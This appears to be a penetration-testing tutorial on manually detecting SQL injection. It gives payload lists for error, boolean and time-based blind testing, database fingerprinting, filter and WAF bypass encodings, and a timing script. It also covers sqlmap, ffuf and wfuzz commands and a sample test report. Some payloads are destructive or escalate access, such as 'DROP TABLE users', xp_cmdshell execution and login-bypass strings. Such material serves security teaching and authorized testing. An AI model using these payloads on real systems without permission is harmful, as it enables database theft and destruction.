How to Detect SQL Injection Manually (and some tools)
Jason McCarthy
Senior security researcher & penetration testing consultant
10+ years experience in the field
Overview
Manual detection of SQL injection vulnerabilities requires a systematic approach combining technical knowledge, pattern recognition, and methodical testing. While automated tools like SQLMap and Burp Suite are invaluable, manual testing remains essential for understanding vulnerability behavior, bypassing filters, and identifying complex injection points that automated scanners might miss. This comprehensive guide provides security professionals and developers with practical techniques to manually identify SQL injection vulnerabilities across different contexts and database systems.
The art of manual SQL injection detection lies in understanding how applications process input and construct database queries. By observing application responses to carefully crafted inputs, testers can infer the underlying query structure and identify injection points. This process requires patience, creativity, and deep understanding of SQL syntax across different database management systems. Manual testing often reveals vulnerabilities in complex scenarios where automated tools fail, such as second-order injections, stored procedures, or heavily filtered inputs.
Initial Reconnaissance and Input Mapping
Before attempting injection, thoroughly map all application inputs that might interact with the database. This reconnaissance phase is crucial for comprehensive testing and helps prioritize high-risk areas.
Identifying Injection Points
Start by cataloging every point where user input enters the application:
- URL Parameters: GET parameters like
?id=1&category=books
- POST Data: Form fields, JSON payloads, XML data
- HTTP Headers: User-Agent, Referer, X-Forwarded-For, Accept-Language
- Cookies: Session identifiers, preferences, tracking data
- File Uploads: Metadata fields, EXIF data, filenames
For each input point, document the expected data type, format, and any visible validation. Pay special attention to:
High-Priority Targets:
- Authentication forms (username/password fields)
- Search functionality (often uses LIKE queries)
- Sorting and filtering parameters (ORDER BY clauses)
- Report generation features (complex queries)
- Administrative interfaces (elevated privileges)
Understanding Application Behavior
Establish baseline behavior by submitting legitimate inputs and observing responses. Document:
- Normal response times
- Standard error messages
- Response content length
- HTTP status codes
- Application flow
This baseline becomes your reference point for detecting anomalies during injection testing.
Basic Detection Techniques
String Delimiter Testing
The most fundamental test involves injecting SQL string delimiters to break query syntax. Test each parameter systematically:
-- Single quote (most common)
'
-- Double quote (some databases)
"
-- Backtick (MySQL identifier quotes)
`
-- Combinations
''
""
\'
\"
Expected indicators of vulnerability:
Response Type | Indication | Example |
---|---|---|
Database Error | Direct vulnerability confirmation | MySQL error: You have an error in your SQL syntax |
Generic Error | Possible vulnerability, needs investigation | An error occurred processing your request |
Missing Content | Query broke, returned no results | Product page shows no items |
Timeout/500 Error | Query syntax severely broken | HTTP 500 Internal Server Error |
Different Response | Query logic altered | Login page behavior changes |
Numeric Parameter Testing
For parameters expecting numeric input, test without quotes:
-- Original URL
http://example.com/product.php?id=5
-- Mathematical operations (should return same result if vulnerable)
http://example.com/product.php?id=6-1
http://example.com/product.php?id=4+1
http://example.com/product.php?id=5*1
http://example.com/product.php?id=10/2
-- Boolean conditions
http://example.com/product.php?id=5 AND 1=1 -- True condition
http://example.com/product.php?id=5 AND 1=2 -- False condition
If mathematical operations return the same content as the original request, the parameter is likely vulnerable to integer-based injection.
Comment Injection Testing
SQL comments can reveal vulnerabilities by terminating queries prematurely:
-- MySQL comments
' --
' #
' /* comment */
-- SQL Server comments
' --
' /*
-- Oracle comments
' --
-- PostgreSQL comments
' --
' /*
-- Testing in authentication
admin' --
admin' #
admin'/*
Advanced Detection Methods
Boolean-Based Blind Detection
When applications don’t return errors but behave differently based on query results, use boolean logic to confirm vulnerabilities:
-- Test pairs - compare responses
' AND '1'='1 -- True condition
' AND '1'='2 -- False condition
' OR '1'='1 -- Always true
' OR '1'='2 -- Depends on other conditions
-- Substring comparisons
' AND SUBSTRING('test',1,1)='t -- True
' AND SUBSTRING('test',1,1)='x -- False
-- Case statements
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)=1 -- True
' AND (SELECT CASE WHEN (1=2) THEN 1 ELSE 0 END)=1 -- False
Create a detection matrix to track responses:
Parameter: id
Test Case | Response Length | Status | Content Hash
------------------------------------|-----------------|--------|-------------
Original (id=5) | 8234 bytes | 200 | a3f5...
id=5 AND 1=1 | 8234 bytes | 200 | a3f5...
id=5 AND 1=2 | 3421 bytes | 200 | b2e1...
id=5' AND '1'='1 | 8234 bytes | 200 | a3f5...
id=5' AND '1'='2 | 3421 bytes | 200 | b2e1...
Time-Based Blind Detection
When boolean-based detection fails, use time delays to confirm injection:
-- MySQL (5+ seconds delay if vulnerable)
' AND SLEEP(5)--
' OR SLEEP(5)--
' AND (SELECT SLEEP(5))--
'; SELECT SLEEP(5)--
-- SQL Server
' AND WAITFOR DELAY '00:00:05'--
'; WAITFOR DELAY '00:00:05'--
-- PostgreSQL
' AND (SELECT pg_sleep(5))--
'; SELECT pg_sleep(5)--
-- Oracle
' AND DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)--
Measure response times precisely:
import time
import requests
def test_time_injection(url, payload):
start = time.time()
response = requests.get(url + payload)
elapsed = time.time() - start
if elapsed > 5:
print(f"Potential time-based SQLi: {elapsed:.2f} seconds")
return True
return False
# Test various payloads
payloads = [
"' AND SLEEP(5)--",
"' OR SLEEP(5)--",
"'; SELECT SLEEP(5)--"
]
for payload in payloads:
test_time_injection("http://example.com/page.php?id=1", payload)
Database Fingerprinting
Once injection is confirmed, identify the database type using version-specific functions:
Version Functions Testing
-- MySQL
' AND version()--
' UNION SELECT @@version--
-- SQL Server
' AND @@version--
' UNION SELECT @@version--
-- PostgreSQL
' AND version()--
' UNION SELECT version()--
-- Oracle
' AND (SELECT banner FROM v$version WHERE ROWNUM=1)--
Database-Specific Syntax
Test unique syntax elements to identify the database:
-- MySQL specific
' AND 'abc'='abc' -- Works
' AND "abc"="abc" -- Works with ANSI_QUOTES mode
-- SQL Server specific
' AND 'abc'='abc' -- Works
' AND "abc"="abc" -- Fails (double quotes for identifiers)
' AND 1=1-- -- Works
' AND 1=1# -- Fails (# not a comment)
-- PostgreSQL specific
' AND 'abc'='abc' -- Works
' AND "abc"="abc" -- Fails
' AND 1=1-- -- Works
' AND 1=1 LIMIT 1 -- Works (LIMIT syntax)
-- Oracle specific
' AND 'abc'='abc' -- Works
' AND "abc"="abc" -- Fails
' AND ROWNUM=1 -- Works (Oracle specific)
Special Context Detection
Second-Order SQL Injection Detection
Test for delayed execution by injecting payloads that trigger during later operations:
-- Registration phase
Username: admin'--
Email: test@test.com
Password: password123
-- Monitor these subsequent operations:
1. Login with created account
2. Password reset functionality
3. Profile update features
4. Account deletion
5. Audit log displays
JSON and NoSQL Injection
Modern applications often use JSON inputs that still interact with SQL databases:
// Original request
{"username": "user", "password": "pass"}
// Test payloads
{"username": "user'--", "password": "pass"}
{"username": "user", "password": "' OR '1'='1"}
{"username": {"$ne": null}, "password": {"$ne": null}}
Stored Procedure Injection
Test for vulnerability in stored procedure calls:
-- Common patterns
'; EXEC xp_cmdshell('dir')--
'; EXEC sp_configure 'show advanced options', 1--
'; EXEC ('SELECT * FROM users')--
-- Parameter pollution
exec=getUserById&id=1;SELECT * FROM passwords--
Filter Bypass Techniques
When basic injection attempts fail, try bypass techniques:
Encoding Bypasses
-- URL encoding
%27 OR %271%27=%271 -- ' OR '1'='1
-- Double URL encoding
%2527 OR %25271%2527=%25271
-- Unicode encoding
\u0027 OR \u00271\u0027=\u00271
-- Hex encoding
0x27 OR 0x31=0x31
Keyword Obfuscation
-- Case variation
SeLeCt * FrOm users
-- Comment insertion
SEL/*comment*/ECT * FR/**/OM users
-- Function replacement
CONCAT() instead of +
CHAR(65) instead of 'A'
-- White space alternatives
SELECT/**/name/**/FROM/**/users
SELECT%09name%09FROM%09users -- Tab characters
WAF Bypass Patterns
-- Using different operators
' OR 1 LIKE 1--
' OR 1 RLIKE 1-- -- MySQL
' OR 1 REGEXP 1-- -- MySQL
' OR 1=1::int-- -- PostgreSQL casting
-- Scientific notation
1e0 UNION SELECT
1.0UNION SELECT
-- Buffer overflow attempts
' OR '1'='1' /**//**//**//**//**//**//**//**/--
[Image placeholder: Flowchart showing manual SQL injection detection process - from reconnaissance through various testing techniques to confirmation]
Tool-Assisted Manual Testing
While testing manually, leverage existing tools to speed up the process and maintain consistency. These tools can help with payload fuzzing, response analysis, and pattern detection.
Using SQLMap for Manual Testing
SQLMap can be used in manual mode to test specific injection points you’ve identified:
# Test a specific parameter with basic detection
sqlmap -u "http://example.com/page.php?id=1" -p id --batch --level=1 --risk=1
Parameter explanations:
-u
: Target URL to test-p
: Specific parameter to test (instead of testing all parameters)--batch
: Never ask for user input, use default behavior--level
: Test intensity (1-5, higher = more tests)--risk
: Risk of tests (1-3, higher = potentially dangerous queries)
# Manual testing with specific techniques
sqlmap -u "http://example.com/page.php?id=1" --technique=B --string="Welcome"
Parameter explanations:
--technique
: Specify injection techniques (B=Boolean, E=Error, U=Union, S=Stacked, T=Time)--string
: String to match in valid responses (helps identify successful injections)
# Test with custom injection point marked with *
sqlmap -u "http://example.com/page.php?id=1*&name=test" --batch
# Test specific cookie parameter
sqlmap -u "http://example.com/page.php" --cookie="session=abc123*" --level=2
Parameter explanations:
*
: Marks exact injection point in URL or cookie--cookie
: Specify cookie header with injection point--level=2
: Required to test cookie parameters (level 2+ tests cookies)
Using ffuf for Fuzzing SQL Injection Points
ffuf is excellent for rapidly testing multiple payloads against parameters:
# Create a basic SQL injection wordlist
cat > sqli_payloads.txt << EOF
'
"
' OR '1'='1
' OR '1'='1'--
admin'--
' UNION SELECT NULL--
' AND SLEEP(5)--
1 OR 1=1
1' OR '1'='1
"; DROP TABLE users--
EOF
# Fuzz GET parameter with SQL payloads
ffuf -w sqli_payloads.txt -u "http://example.com/page.php?id=FUZZ" -mc 500,200 -ml 100
Parameter explanations:
-w
: Wordlist file containing payloads-u
: Target URL (FUZZ keyword is replaced with payloads)-mc
: Match HTTP status codes (show only these codes)-ml
: Match response length (show only responses with 100+ lines)
# Fuzz POST data
ffuf -w sqli_payloads.txt -X POST -d "username=FUZZ&password=test" \
-u "http://example.com/login.php" -mc all -fl 50
Parameter explanations:
-X POST
: HTTP method to use-d
: POST data (FUZZ is replaced with payloads)-mc all
: Match all status codes-fl
: Filter out responses with exactly 50 lines
# Time-based detection (filter responses taking longer than 5 seconds)
ffuf -w sqli_payloads.txt -u "http://example.com/page.php?id=FUZZ" \
-mc 200 -ft 5000
Parameter explanations:
-ft
: Filter responses by time in milliseconds (show only responses slower than 5000ms)-fs
: Filter by response size in bytes (not shown but commonly used)
Using wfuzz for Pattern Detection
wfuzz provides excellent response analysis capabilities:
# Basic SQL injection fuzzing with response analysis
wfuzz -c -z file,sqli_payloads.txt --hc 404 --hl 0 \
"http://example.com/page.php?id=FUZZ"
Parameter explanations:
-c
: Output with colors-z file,wordlist
: Specify payload source (file type and filename)--hc
: Hide responses with these status codes (404)--hl
: Hide responses with 0 lines
# Detect changes in response length (blind SQLi)
wfuzz -c -z file,sqli_payloads.txt --hl 97 \
"http://example.com/page.php?id=1FUZZ"
Parameter explanations:
--hl 97
: Hide responses with exactly 97 lines (baseline response)- This helps identify responses that differ from normal
# POST parameter fuzzing
wfuzz -c -z file,sqli_payloads.txt -d "username=FUZZ&password=admin" \
--hc 404 "http://example.com/login.php"
Parameter explanations:
-d
: POST data string with FUZZ keyword-H
: HTTP header (used for cookies, user-agent, etc.)
Combining Tools for Comprehensive Testing
Create a testing workflow that leverages multiple tools:
# 1. Initial discovery with ffuf
ffuf -w common_params.txt -u "http://example.com/page.php?FUZZ=test" -mc 200
# 2. Test discovered parameters with SQLMap
sqlmap -u "http://example.com/page.php?id=1&category=books" --batch --crawl=2
# 3. Manual verification with curl
curl -v "http://example.com/page.php?id=1'"
# 4. Document findings
echo "SQL Injection found in parameter: id" >> findings.txt
Workflow parameter explanations:
--crawl=2
: SQLMap crawls the site 2 levels deep to find more injection points-v
: curl verbose mode shows full request/response headers>>
: Append output to file (use>
to overwrite)
# Documentation and Reporting
Maintain detailed records of all manual testing:
```markdown
## SQL Injection Test Report
**Target**: http://example.com/search.php
**Parameter**: query
**Date**: 2024-12-15
### Test Results
| Payload | Response | Time | Status | Notes |
|---------|----------|------|--------|-------|
| `'` | MySQL Error | 0.3s | 500 | Syntax error revealed |
| `' OR '1'='1` | All products shown | 0.5s | 200 | Successful injection |
| `' UNION SELECT null--` | Error: different columns | 0.4s | 200 | Union possible |
| `' UNION SELECT null,null,null--` | Success | 0.5s | 200 | 3 columns confirmed |
### Confirmed Vulnerability
- **Type**: Classic SQL Injection
- **Database**: MySQL 5.7.x
- **Impact**: Full database access possible
- **Exploitability**: High - No authentication required
Best Practices for Manual Testing
Successfully detecting SQL injection manually requires discipline and methodology:
- Test systematically: Cover all parameters, don’t skip seemingly unimportant inputs
- Use proxy tools: Burp Suite or OWASP ZAP for request modification and history
- Monitor responses carefully: Small differences might indicate vulnerability
- Test different contexts: Authenticated vs unauthenticated, different user roles
- Document everything: Keep detailed notes for reproduction and reporting
- Respect scope: Only test systems you have permission to assess
- Consider timing: Test during low-traffic periods to minimize impact
- Verify findings: Confirm vulnerabilities with multiple test cases
Manual SQL injection detection remains a critical skill for security professionals. While automated tools excel at broad coverage, manual testing provides the deep understanding necessary for complex vulnerabilities, filter bypasses, and comprehensive risk assessment. Combining manual techniques with automated scanning creates the most effective approach for identifying and understanding SQL injection vulnerabilities in modern applications.